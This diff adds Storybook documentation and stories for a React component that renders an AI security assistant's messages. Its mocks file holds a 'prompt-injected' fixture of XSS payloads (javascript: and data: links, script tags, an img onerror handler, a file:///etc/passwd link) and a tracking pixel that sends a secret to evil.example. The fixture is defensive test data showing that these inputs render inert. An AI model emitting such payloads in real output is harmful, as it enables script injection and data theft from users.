+ Source: AssistantMessage/AssistantMessage.stories.tsx#Markdown
107
+
108
+ ### MarkdownStreaming
109
+
110
+ Pass the whole text so far (a snapshot, never a delta) with `streaming`: only the unfinished
111
+ tail is repaired, a dangling `**`, a half-typed table header and an empty fence wait a frame,
112
+ and an open fence stays plain without a copy button until it closes. Finished blocks never
113
+ re-render. Here a timer grows the string; press Replay to stream it again.
114
+
115
+ Source: AssistantMessage/AssistantMessage.stories.tsx#MarkdownStreaming
116
+
117
+ ### MarkdownInChainOfThought
118
+
119
+ `variant='chain-of-thought'` for reasoning inside a `ChainOfThoughtStep` (Figma 494:4292): the
120
+ step body sets the 12/16 muted text, inline code is muted and not copyable, links are 12px.
121
+
122
+ Source: AssistantMessage/AssistantMessage.stories.tsx#MarkdownInChainOfThought
123
+
124
+ ### MarkdownUnsafeContent
125
+
126
+ Assistant text is untrusted (prompt injection). Raw HTML shows as typed (only `<br>` breaks a
127
+ line), `javascript:`/`data:`/`vbscript:`/`file:` links render as plain text, and images show
128
+ only their alt text, so no tracking pixel loads.
129
+
130
+ Source: AssistantMessage/AssistantMessage.stories.tsx#MarkdownUnsafeContent
131
+
132
+ ### MarkdownCustomElements
133
+
134
+ `components` overrides any element at module scope; wrap the exported parts
135
+ (`AssistantMessageMarkdownLink`, `…InlineCode`, `…CodeBlock`, `…Table`) to add analytics
136
+ attributes to the real nodes. Here every link gets a `data-analytics-id`, and images render
137
+ only from the app's own origin — the app owns that decision.
138
+
139
+ Source: AssistantMessage/AssistantMessage.stories.tsx#MarkdownCustomElements
140
+
141
+ ## Story sources
142
+
143
+ ### AssistantMessage/AssistantMessage.stories.tsx
144
+
145
+ ```tsx
146
+ import { useEffect, useState } from 'react';
147
+ import type { Meta, StoryFn } from 'storybook-react-rsbuild';
148
+ import { Brain, Database, Ellipsis, RefreshCcw, Search, ThumbsDown, ThumbsUp } from '../../icons';
149
+ import { ApprovalCard, ApprovalCardActions, ApprovalCardContent } from '../ApprovalCard';
150
+ import { Button } from '../Button';
151
+ import { ChainOfThought, ChainOfThoughtStep } from '../ChainOfThought';
152
+ import { CodeSnippetAdapterProvider, InlineCodeSnippet, loadPrismAdapter } from '../CodeSnippet';
153
+ import { Copyable, CopyableIcon } from '../Copyable';
154
+ import {
155
+ DropdownMenu,
156
+ DropdownMenuContent,
157
+ DropdownMenuItem,
158
+ DropdownMenuTrigger,
159
+ } from '../DropdownMenu';
160
+ import { MessageAction, MessageActions, MessageTimestamp } from '../MessageActions';
161
+ import {
162
+ AssistantMessage,
163
+ AssistantMessageContent,
164
+ AssistantMessageError,
165
+ AssistantMessageLoader,
166
+ AssistantMessageMarkdown,
167
+ type AssistantMessageMarkdownComponents,
168
+ AssistantMessageMarkdownLink,
169
+ } from '.';
170
+ import { COT_TEXT, HOSTILE, WALLY_ANSWER } from './mocks';
171
+
172
+ const DESCRIPTION = [
173
+ 'A message from Wally: an `<article>` named "Wally" that left-aligns the answer and whatever led up to it.',
174
+ 'Stack its parts in this order — an optional `ChainOfThought` with the reasoning and tool calls, an optional `ApprovalCard`, the `AssistantMessageContent`, then a `MessageActions` row; the message spaces them 12px and 4px apart and lines the action icons up with the text.',
175
+ "`AssistantMessageContent` spaces and styles markdown blocks; put `AssistantMessageMarkdown` inside it (WallyAssistant's default) or your own renderer's output.",
176
+ '`AssistantMessageMarkdown` renders untrusted GFM as DS elements — no raw HTML, http/https/mailto/relative links only, images as alt text — and is streaming-safe: pass the whole text so far with `streaming` and it repairs only the unfinished tail.',
177
+ 'Set `aria-busy` on the message while the answer streams; before the first output, show only an `AssistantMessageLoader` "Working..." row, and if the answer fails, an `AssistantMessageError` after the content with your own Retry button in `action`.',
178
+ ].join(' ');
179
+
180
+ const meta = {
181
+ title: 'AI/AssistantMessage',
182
+ component: AssistantMessage,
183
+ subcomponents: {
184
+ AssistantMessageContent,
185
+ AssistantMessageLoader,
186
+ AssistantMessageError,
187
+ AssistantMessageMarkdown,
188
+ },
189
+ parameters: {
190
+ layout: 'centered',
191
+ docs: { description: { component: DESCRIPTION } },
192
+ },
193
+ decorators: [
194
+ Story => (
195
+ <div className='w-420'>
196
+ <Story />
197
+ </div>
198
+ ),
199
+ ],
200
+ } satisfies Meta<typeof AssistantMessage>;
201
+
202
+ export default meta;
203
+
204
+ const ANSWER_TEXT = 'Blocked 1,204 SQL injection attempts on /api/login in the last 24 hours.';
205
+
206
+ /** A rendered markdown answer: a heading, paragraphs and a list with inline code. */
207
+ export const AnswerProse: StoryFn<typeof meta> = () => (
208
+ <AssistantMessage data-testid='prose'>
209
+ <AssistantMessageContent>
210
+ <h3>Blocked attacks, last 24 hours</h3>
211
+ <p>
212
+ Wallarm blocked 1,204 SQL injection attempts, almost all against{' '}
213
+ <InlineCodeSnippet code='/api/login' size='sm' />.
214
+ </p>
215
+ <ul>
216
+ <li>
217
+ Most came from <InlineCodeSnippet code='203.0.113.0/24' size='sm' />.
218
+ </li>
219
+ <li>The peak was at 03:00 UTC.</li>
220
+ <li>No request reached the application.</li>
221
+ </ul>
222
+ <p>Want me to add a rule that denies the whole subnet?</p>
223
+ </AssistantMessageContent>
224
+ </AssistantMessage>
225
+ );
226
+
227
+ /**
228
+ * The reasoning sits above the answer as a `ChainOfThought`, 12px away. The first message
229
+ * keeps it collapsed; the second opens the "Thought for 5s" step.
230
+ */
231
+ export const WithReasoning: StoryFn<typeof meta> = () => (
232
+ <div className='flex flex-col gap-24'>
233
+ <AssistantMessage data-testid='collapsed'>
234
+ <ChainOfThought>
235
+ <ChainOfThoughtStep icon={<Brain />} label='Thought for 5s'>
236
+ <p>
237
+ The user wants blocked attacks for a day. Query the events, then group them by path.
238
+ </p>
239
+ </ChainOfThoughtStep>
240
+ <ChainOfThoughtStep icon={<Search />} label='Searched for blocked requests' />
241
+ <ChainOfThoughtStep icon={<Database />} label='Queried attack events' />
242
+ </ChainOfThought>
243
+ <AssistantMessageContent>
244
+ <h3>Blocked attacks, last 24 hours</h3>
245
+ <p>
246
+ Wallarm blocked 1,204 SQL injection attempts, almost all against{' '}
247
+ <InlineCodeSnippet code='/api/login' size='sm' />.
248
+ </p>
249
+ <ul>
250
+ <li>
251
+ Most came from <InlineCodeSnippet code='203.0.113.0/24' size='sm' />.
252
+ </li>
253
+ <li>The peak was at 03:00 UTC.</li>
254
+ <li>No request reached the application.</li>
255
+ </ul>
256
+ <p>Want me to add a rule that denies the whole subnet?</p>
257
+ </AssistantMessageContent>
258
+ </AssistantMessage>
259
+ <AssistantMessage data-testid='expanded'>
260
+ <ChainOfThought>
261
+ <ChainOfThoughtStep icon={<Brain />} label='Thought for 5s' defaultOpen>
262
+ <p>
263
+ The user wants blocked attacks for a day. Query the events, then group them by path.
264
+ </p>
265
+ </ChainOfThoughtStep>
266
+ <ChainOfThoughtStep icon={<Search />} label='Searched for blocked requests' />
267
+ <ChainOfThoughtStep icon={<Database />} label='Queried attack events' />
268
+ </ChainOfThought>
269
+ <AssistantMessageContent>
270
+ <h3>Blocked attacks, last 24 hours</h3>
271
+ <p>
272
+ Wallarm blocked 1,204 SQL injection attempts, almost all against{' '}
273
+ <InlineCodeSnippet code='/api/login' size='sm' />.
274
+ </p>
275
+ <ul>
276
+ <li>
277
+ Most came from <InlineCodeSnippet code='203.0.113.0/24' size='sm' />.
278
+ </li>
279
+ <li>The peak was at 03:00 UTC.</li>
280
+ <li>No request reached the application.</li>
281
+ </ul>
282
+ <p>Want me to add a rule that denies the whole subnet?</p>
283
+ </AssistantMessageContent>
284
+ </AssistantMessage>
285
+ </div>
286
+ );
287
+
288
+ /**
289
+ * The latest answer forces its actions on with `visible`: Copy, thumbs up and down, a more
290
+ * menu and the timestamp, with the first icon lined up with the text.
291
+ */
292
+ export const WithActionsVisible: StoryFn<typeof meta> = () => (
293
+ <AssistantMessage data-testid='with-actions'>
294
+ <ChainOfThought>
295
+ <ChainOfThoughtStep icon={<Brain />} label='Thought for 5s'>
296
+ <p>The user wants blocked attacks for a day. Query the events, then group them by path.</p>
297
+ </ChainOfThoughtStep>
298
+ <ChainOfThoughtStep icon={<Search />} label='Searched for blocked requests' />
299
+ <ChainOfThoughtStep icon={<Database />} label='Queried attack events' />
300
+ </ChainOfThought>
301
+ <AssistantMessageContent>
302
+ <h3>Blocked attacks, last 24 hours</h3>
303
+ <p>
304
+ Wallarm blocked 1,204 SQL injection attempts, almost all against{' '}
305
+ <InlineCodeSnippet code='/api/login' size='sm' />.
306
+ </p>
307
+ <ul>
308
+ <li>
309
+ Most came from <InlineCodeSnippet code='203.0.113.0/24' size='sm' />.
310
+ </li>
311
+ <li>The peak was at 03:00 UTC.</li>
312
+ <li>No request reached the application.</li>
313
+ </ul>
314
+ <p>Want me to add a rule that denies the whole subnet?</p>
315
+ </AssistantMessageContent>
316
+ <MessageActions visible>
317
+ <Copyable text={ANSWER_TEXT}>
318
+ <MessageAction aria-label='Copy'>
319
+ <CopyableIcon />
320
+ </MessageAction>
321
+ </Copyable>
322
+ <MessageAction aria-label='Good response'>
323
+ <ThumbsUp />
324
+ </MessageAction>
325
+ <MessageAction aria-label='Bad response'>
326
+ <ThumbsDown />
327
+ </MessageAction>
328
+ <DropdownMenu>
329
+ <DropdownMenuTrigger asChild>
330
+ <MessageAction aria-label='More actions'>
331
+ <Ellipsis />
332
+ </MessageAction>
333
+ </DropdownMenuTrigger>
334
+ <DropdownMenuContent>
335
+ <DropdownMenuItem>Regenerate</DropdownMenuItem>
336
+ <DropdownMenuItem>Report a problem</DropdownMenuItem>
337
+ </DropdownMenuContent>
338
+ </DropdownMenu>
339
+ <MessageTimestamp dateTime='2026-10-21T09:42:00Z'>1m ago</MessageTimestamp>
340
+ </MessageActions>
341
+ </AssistantMessage>
342
+ );
343
+
344
+ /**
345
+ * The full composition: reasoning, an `ApprovalCard` stretched to the message width, the
346
+ * answer and its actions. The card sits 12px from the parts around it, like the reasoning.
347
+ */
348
+ export const WithApproval: StoryFn<typeof meta> = () => (
349
+ <AssistantMessage data-testid='with-approval'>
350
+ <ChainOfThought>
351
+ <ChainOfThoughtStep icon={<Brain />} label='Thought for 5s'>
352
+ <p>The user wants blocked attacks for a day. Query the events, then group them by path.</p>
353
+ </ChainOfThoughtStep>
354
+ <ChainOfThoughtStep icon={<Search />} label='Searched for blocked requests' />
355
+ <ChainOfThoughtStep icon={<Database />} label='Queried attack events' />
356
+ </ChainOfThought>
357
+ <ApprovalCard>
358
+ <ApprovalCardContent>
359
+ Add 203.0.113.0/24 to the denylist on all applications
360
+ </ApprovalCardContent>
361
+ <ApprovalCardActions>
362
+ <Button>Allow</Button>
363
+ <Button variant='secondary' color='neutral'>
364
+ Reject
365
+ </Button>
366
+ </ApprovalCardActions>
367
+ </ApprovalCard>
368
+ <AssistantMessageContent>
369
+ <h3>Blocked attacks, last 24 hours</h3>
370
+ <p>
371
+ Wallarm blocked 1,204 SQL injection attempts, almost all against{' '}
372
+ <InlineCodeSnippet code='/api/login' size='sm' />.
373
+ </p>
374
+ <ul>
375
+ <li>
376
+ Most came from <InlineCodeSnippet code='203.0.113.0/24' size='sm' />.
377
+ </li>
378
+ <li>The peak was at 03:00 UTC.</li>
379
+ <li>No request reached the application.</li>
380
+ </ul>
381
+ <p>Want me to add a rule that denies the whole subnet?</p>
382
+ </AssistantMessageContent>
383
+ <MessageActions visible>
384
+ <Copyable text={ANSWER_TEXT}>
385
+ <MessageAction aria-label='Copy'>
386
+ <CopyableIcon />
387
+ </MessageAction>
388
+ </Copyable>
389
+ <MessageAction aria-label='Good response'>
390
+ <ThumbsUp />
391
+ </MessageAction>
392
+ <MessageAction aria-label='Bad response'>
393
+ <ThumbsDown />
394
+ </MessageAction>
395
+ <DropdownMenu>
396
+ <DropdownMenuTrigger asChild>
397
+ <MessageAction aria-label='More actions'>
398
+ <Ellipsis />
399
+ </MessageAction>
400
+ </DropdownMenuTrigger>
401
+ <DropdownMenuContent>
402
+ <DropdownMenuItem>Regenerate</DropdownMenuItem>
403
+ <DropdownMenuItem>Report a problem</DropdownMenuItem>
404
+ </DropdownMenuContent>
405
+ </DropdownMenu>
406
+ <MessageTimestamp dateTime='2026-10-21T09:42:00Z'>1m ago</MessageTimestamp>
407
+ </MessageActions>
408
+ </AssistantMessage>
409
+ );
410
+
411
+ /**
412
+ * Older answers keep their actions row transparent until the message is hovered or holds
413
+ * focus; the 30px row stays reserved so nothing jumps.
414
+ */
415
+ export const WithActionsOnHover: StoryFn<typeof meta> = () => (
416
+ <AssistantMessage data-testid='hover-actions'>
417
+ <AssistantMessageContent>
418
+ <h3>Blocked attacks, last 24 hours</h3>
419
+ <p>
420
+ Wallarm blocked 1,204 SQL injection attempts, almost all against{' '}
421
+ <InlineCodeSnippet code='/api/login' size='sm' />.
422
+ </p>
423
+ <ul>
424
+ <li>
425
+ Most came from <InlineCodeSnippet code='203.0.113.0/24' size='sm' />.
426
+ </li>
427
+ <li>The peak was at 03:00 UTC.</li>
428
+ <li>No request reached the application.</li>
429
+ </ul>
430
+ <p>Want me to add a rule that denies the whole subnet?</p>
431
+ </AssistantMessageContent>
432
+ <MessageActions>
433
+ <Copyable text={ANSWER_TEXT}>
434
+ <MessageAction aria-label='Copy'>
435
+ <CopyableIcon />
436
+ </MessageAction>
437
+ </Copyable>
438
+ <MessageAction aria-label='Good response'>
439
+ <ThumbsUp />
440
+ </MessageAction>
441
+ <MessageAction aria-label='Bad response'>
442
+ <ThumbsDown />
443
+ </MessageAction>
444
+ <DropdownMenu>
445
+ <DropdownMenuTrigger asChild>
446
+ <MessageAction aria-label='More actions'>
447
+ <Ellipsis />
448
+ </MessageAction>
449
+ </DropdownMenuTrigger>
450
+ <DropdownMenuContent>
451
+ <DropdownMenuItem>Regenerate</DropdownMenuItem>
452
+ <DropdownMenuItem>Report a problem</DropdownMenuItem>
453
+ </DropdownMenuContent>
454
+ </DropdownMenu>
455
+ <MessageTimestamp dateTime='2026-10-21T09:42:00Z'>1m ago</MessageTimestamp>
456
+ </MessageActions>
457
+ </AssistantMessage>
458
+ );
459
+
460
+ /**
461
+ * While the answer streams, set `aria-busy` on the message and show the running step with a
462
+ * shimmering label; the actions come once it finishes.
463
+ */
464
+ export const Streaming: StoryFn<typeof meta> = () => (
465
+ <AssistantMessage data-testid='streaming' aria-busy>
466
+ <ChainOfThought>
467
+ <ChainOfThoughtStep icon={<Search />} label='Searched for blocked requests' />
468
+ <ChainOfThoughtStep icon={<Database />} label='Querying attack events...' status='running' />
469
+ </ChainOfThought>
470
+ <AssistantMessageContent>
471
+ <p>Wallarm blocked 1,204 SQL injection attempts, almost all against</p>
472
+ </AssistantMessageContent>
473
+ </AssistantMessage>
474
+ );
475
+
476
+ /**
477
+ * Before the first output, the message holds only an `AssistantMessageLoader`: the Figma
478
+ * "Working..." row with a shimmering label, announced as `role='status'`. Pass children to
479
+ * change the text.
480
+ */
481
+ export const Loading: StoryFn<typeof meta> = () => (
482
+ <AssistantMessage data-testid='loading' aria-busy>
483
+ <AssistantMessageLoader />
484
+ </AssistantMessage>
485
+ );
486
+
487
+ /**
488
+ * A failed answer: `AssistantMessageError` comes after whatever content streamed, announced
489
+ * as `role='alert'`. Put your own Retry `Button` in `action`, so its click and analytics are
490
+ * yours. The action renders inside the error's test-id cascade, but `Button` doesn't read it:
491
+ * either give it the full id yourself (here `error--error--retry`, i.e. the error's id `error--error`
492
+ * plus `--retry`), or read `useTestId('retry')` (exported from the package) inside your own
493
+ * Retry component to derive it. Not in Figma yet; pending design review.
494
+ */
495
+ export const ErrorState: StoryFn<typeof meta> = () => (
496
+ <AssistantMessage data-testid='error'>
497
+ <AssistantMessageContent>
498
+ <p>Wallarm blocked 1,204 SQL injection attempts, almost all against</p>
499
+ </AssistantMessageContent>
500
+ <AssistantMessageError
501
+ action={
502
+ <Button
503
+ variant='ghost'
504
+ color='neutral'
505
+ size='small'
506
+ data-testid='error--error--retry'
507
+ data-analytics-id='WALLY_ANSWER_RETRY'
508
+ >
509
+ <RefreshCcw />
510
+ Retry
511
+ </Button>
512
+ }
513
+ >
514
+ The connection was lost before the answer finished.
515
+ </AssistantMessageError>
516
+ </AssistantMessage>
517
+ );
518
+
519
+ /**
520
+ * The message and its content are not interactive, but `data-analytics-*` still lands on
521
+ * their real nodes; put click analytics on each `MessageAction` instead.
522
+ */
523
+ export const Analytics: StoryFn<typeof meta> = () => (
524
+ <AssistantMessage data-testid='analytics' data-analytics-id='WALLY_ANSWER'>
525
+ <AssistantMessageContent data-analytics-id='WALLY_ANSWER_CONTENT'>
526
+ <p>{ANSWER_TEXT}</p>
527
+ </AssistantMessageContent>
528
+ <MessageActions visible>
529
+ <Copyable text={ANSWER_TEXT}>
530
+ <MessageAction aria-label='Copy' data-analytics-id='WALLY_ANSWER_COPY'>
531
+ <CopyableIcon />
532
+ </MessageAction>
533
+ </Copyable>
534
+ </MessageActions>
535
+ </AssistantMessage>
536
+ );
537
+
538
+ /**
539
+ * `AssistantMessageMarkdown` inside `AssistantMessageContent`: every GFM element in the DS look —
540
+ * heading, bold/italic/strike, inline code (click to copy), an aligned table, nested lists, a task
541
+ * list, a fenced block with a copy button, a quote, a rule and links. Highlighting follows the
542
+ * app's `CodeSnippetAdapterProvider` (WallyAssistant mounts the lazy Prism one itself).
543
+ */
544
+ export const Markdown: StoryFn<typeof meta> = () => (
545
+ <CodeSnippetAdapterProvider adapter={loadPrismAdapter}>
546
+ <AssistantMessage data-testid='markdown'>
547
+ <AssistantMessageContent>
548
+ <AssistantMessageMarkdown text={WALLY_ANSWER} />
549
+ </AssistantMessageContent>
550
+ </AssistantMessage>
551
+ </CodeSnippetAdapterProvider>
552
+ );
553
+
554
+ /**
555
+ * Pass the whole text so far (a snapshot, never a delta) with `streaming`: only the unfinished
556
+ * tail is repaired, a dangling `**`, a half-typed table header and an empty fence wait a frame,
557
+ * and an open fence stays plain without a copy button until it closes. Finished blocks never
558
+ * re-render. Here a timer grows the string; press Replay to stream it again.
559
+ */
560
+ export const MarkdownStreaming: StoryFn<typeof meta> = () => {
561
+ const [length, setLength] = useState(0);
562
+ const streaming = length < WALLY_ANSWER.length;
563
+
564
+ useEffect(() => {
565
+ if (length >= WALLY_ANSWER.length) return;
566
+ const id = setTimeout(() => setLength(Math.min(length + 6, WALLY_ANSWER.length)), 40);
567
+ return () => clearTimeout(id);
568
+ }, [length]);
569
+
570
+ const handleClick = () => {
571
+ setLength(0);
572
+ };
573
+
574
+ return (
575
+ <div className='flex flex-col items-start gap-16'>
576
+ <CodeSnippetAdapterProvider adapter={loadPrismAdapter}>
577
+ <AssistantMessage data-testid='markdown-streaming' aria-busy={streaming}>
578
+ <AssistantMessageContent>
579
+ <AssistantMessageMarkdown text={WALLY_ANSWER.slice(0, length)} streaming={streaming} />
580
+ </AssistantMessageContent>
581
+ </AssistantMessage>
582
+ </CodeSnippetAdapterProvider>
583
+ <Button
584
+ variant='outline'
585
+ color='neutral'
586
+ size='small'
587
+ disabled={streaming}
588
+ data-testid='markdown-streaming--replay'
589
+ onClick={handleClick}
590
+ >
591
+ <RefreshCcw />
592
+ Replay
593
+ </Button>
594
+ </div>
595
+ );
596
+ };
597
+
598
+ /**
599
+ * `variant='chain-of-thought'` for reasoning inside a `ChainOfThoughtStep` (Figma 494:4292): the
600
+ * step body sets the 12/16 muted text, inline code is muted and not copyable, links are 12px.
601
+ */
602
+ export const MarkdownInChainOfThought: StoryFn<typeof meta> = () => (
603
+ <AssistantMessage data-testid='cot-markdown'>
604
+ <ChainOfThought>
605
+ <ChainOfThoughtStep label='Thought for 5s' icon={<Brain />} defaultOpen>
606
+ <AssistantMessageMarkdown variant='chain-of-thought' text={COT_TEXT} />
607
+ </ChainOfThoughtStep>
608
+ </ChainOfThought>
609
+ </AssistantMessage>
610
+ );
611
+
612
+ /**
613
+ * Assistant text is untrusted (prompt injection). Raw HTML shows as typed (only `<br>` breaks a
614
+ * line), `javascript:`/`data:`/`vbscript:`/`file:` links render as plain text, and images show
615
+ * only their alt text, so no tracking pixel loads.
616
+ */
617
+ export const MarkdownUnsafeContent: StoryFn<typeof meta> = () => (
618
+ <AssistantMessage data-testid='unsafe-markdown'>
619
+ <AssistantMessageContent>
620
+ <AssistantMessageMarkdown text={HOSTILE} />
621
+ </AssistantMessageContent>
622
+ </AssistantMessage>
623
+ );
624
+
625
+ /** Module scope: a new map on every render would re-render every block. */
626
+ const MARKDOWN_COMPONENTS: Partial<AssistantMessageMarkdownComponents> = {
627
+ a: props => <AssistantMessageMarkdownLink {...props} data-analytics-id='wally.answer.link' />,
628
+ img: ({ src, alt }) =>
629
+ new URL(src, window.location.href).origin === window.location.origin ? (
630
+ <img src={src} alt={alt} className='size-32' />
631
+ ) : (
632
+ alt
633
+ ),
634
+ };
635
+
636
+ /**
637
+ * `components` overrides any element at module scope; wrap the exported parts
638
+ * (`AssistantMessageMarkdownLink`, `…InlineCode`, `…CodeBlock`, `…Table`) to add analytics
639
+ * attributes to the real nodes. Here every link gets a `data-analytics-id`, and images render
640
+ * only from the app's own origin — the app owns that decision.
641
+ */
642
+ export const MarkdownCustomElements: StoryFn<typeof meta> = () => (
643
+ <AssistantMessage data-testid='custom-markdown'>
644
+ <AssistantMessageContent>
645
+ <AssistantMessageMarkdown
646
+ components={MARKDOWN_COMPONENTS}
647
+ text={
648
+ 'Read the [rule guide](https://docs.wallarm.com/user-guides/rules/) first.\n\n![Wallarm logo](./favicon.svg)\n\n![tracker](https://evil.example/p.gif)'
649
+ }
650
+ />
651
+ </AssistantMessageContent>
652
+ </AssistantMessage>
653
+ );
654
+ ```
655
+
656
+ ### AssistantMessage/mocks.ts
657
+
658
+ ````tsx
659
+ /** Story and test data for `AssistantMessageMarkdown` (not published). */
660
+
661
+ /** A full Wally answer that touches every default element. */
662
+ export const WALLY_ANSWER = `## Attacks on \`/api/login\`
663
+
664
+ Found **3 attacks** in the last 24 hours, all *blocked*. The top source is \`203.0.113.7\` &amp; friends.
665
+
666
+ | IP | Type | Hits |
667
+ |:---|:----:|-----:|
668
+ | 203.0.113.7 | sqli | 120 |
669
+ | 198.51.100.4 | xss | 9 |
670
+ | 192.0.2.10 | brute | 5 |
671
+
672
+ 1. Check the rule:
673
+ - \`rule_id: 1042\`
674
+ - mode ~~monitoring~~ blocking
675
+ 2. Add a rule:
676
+
677
+ \`\`\`json
678
+ {
679
+ "action": "block",
680
+ "ip": "203.0.113.7",
681
+ "ttl": 3600
682
+ }
683
+ \`\`\`
684
+
685
+ > Rules apply within 1 minute.
686
+
687
+ - [x] Denylisted
688
+ - [ ] Notified
689
+
690
+ ---
691
+
692
+ See [Wallarm docs](https://docs.wallarm.com/admin-en/configure-parameters-en/) or <https://console.wallarm.com>.`;
693
+
694
+ /** Reasoning text for the chain-of-thought variant (Figma 494:4292). */
695
+ export const COT_TEXT = `The user asks why \`/api/login\` gets so many hits.
696
+
697
+ #### Plan
698
+
699
+ - Group the blocked requests by source IP.
700
+ - Check whether \`203.0.113.0/24\` is already denylisted.
701
+
702
+ The rule \`rule_id: 1042\` is in monitoring mode, so nothing is blocked yet. See [the rule](https://my.wallarm.com/rules/1042).`;
703
+
704
+ /** Prompt-injected answer: every line must render inert. */
705
+ export const HOSTILE = `Click [here](javascript:alert(1)) or [there](JaVaScRiPt:alert(1)) or [data](data:text/html,<script>alert(1)</script>).
706
+
707
+ <script>alert(1)</script>
708
+
709
+ Inline <img src=x onerror=alert(1)> and a pixel ![pixel](https://evil.example/p.gif?q=secret).
710
+
711
+ [entity](javascript&colon;alert(1)) <javascript:alert(1)> [file](file:///etc/passwd) <a href="javascript:alert(1)">raw</a>`;
712
+
713
+ /** Mid-stream snapshots (addendum §1), rendered with `streaming` on. */
714
+ export const STREAMING_SNAPSHOTS = {
715
+ t1: 'Looking at hits for `/api/lo',
716
+ t4: 'Found **3 att',
717
+ t4b: 'Found **',
718
+ t5: 'Found:\n\n| IP | Type | Hits |\n|---|',
719
+ t5c: 'Found:\n\n| IP | Type | Hits |\n|---|---|---|\n| 1.2.3.4 | sq',
720
+ t6: '2. Add a rule:\n\n```yaml\nrule: block\nip: 1',
721
+ t6b: '2. Add a rule:\n\n```ya',
722
+ t7: 'See [docs](https',
723
+ } as const;
724
+ ````